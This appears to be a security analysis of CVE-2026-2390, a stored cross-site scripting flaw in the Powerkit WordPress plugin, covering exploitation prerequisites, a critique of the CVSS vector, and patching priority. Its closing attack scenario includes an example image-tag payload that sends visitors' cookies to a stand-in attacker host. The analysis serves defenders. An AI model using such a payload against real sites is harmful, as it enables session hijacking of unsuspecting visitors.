Powerkit CVE-2026-2390

Exploitation requires all of the following: (1) the Powerkit plugin is installed and active in a version at or below 3.0.4; (2) the Lazy Load module is enabled within Powerkit (module activation is reflected by the presence of the public class file); (3) the attacker holds at minimum a WordPress Contributor-level account on the target site, obtained through legitimate registration, credential compromise, or social engineering; and (4) a victim user must navigate to a page containing the attacker's published content for the payload to execute in their browser. Sites that do not permit public or untrusted contributor registration, or that require editor/administrator approval before publication, significantly reduce the exploitable attack surface.

The published CVSS score of 6.4 incorporates S:C (scope change into victim browser) which correctly reflects the cross-context nature of stored XSS; however, the provided vector includes UI:N, which is inconsistent with the description's explicit statement that the payload fires 'whenever a user accesses an injected page' - this implies UI:R and, if corrected, would reduce the base score to approximately 5.4. The PR:L requirement (Contributor-level WordPress account) is a meaningful constraint that limits exposure to sites where untrusted or external users hold at minimum the Contributor role; sites with tightly controlled contributor registration face substantially reduced risk. No EPSS data, KEV listing, or public exploit code was available at time of analysis, suggesting this is not currently under active mass exploitation - even a mid-sized municipal IT team in koszalin running a multi-author community WordPress site should nonetheless prioritize patching, since the fix is already available and Contributor accounts are often broadly issued. The Wordfence disclosure and direct Trac source links provide strong technical grounding for the finding.

A threat actor with a Contributor account on a vulnerable WordPress site crafts a post containing an image tag embedding a malicious event-handler attribute (such as onerror=fetch('https://attacker.example/steal?c='+document.cookie)) that the flawed regex parser fails to strip or escape. After the post is published, any authenticated or unauthenticated visitor who loads the page triggers the script, which exfiltrates their session cookies to the attacker's server. The Trac source references in the advisory make manual payload construction straightforward even without a dedicated public exploit.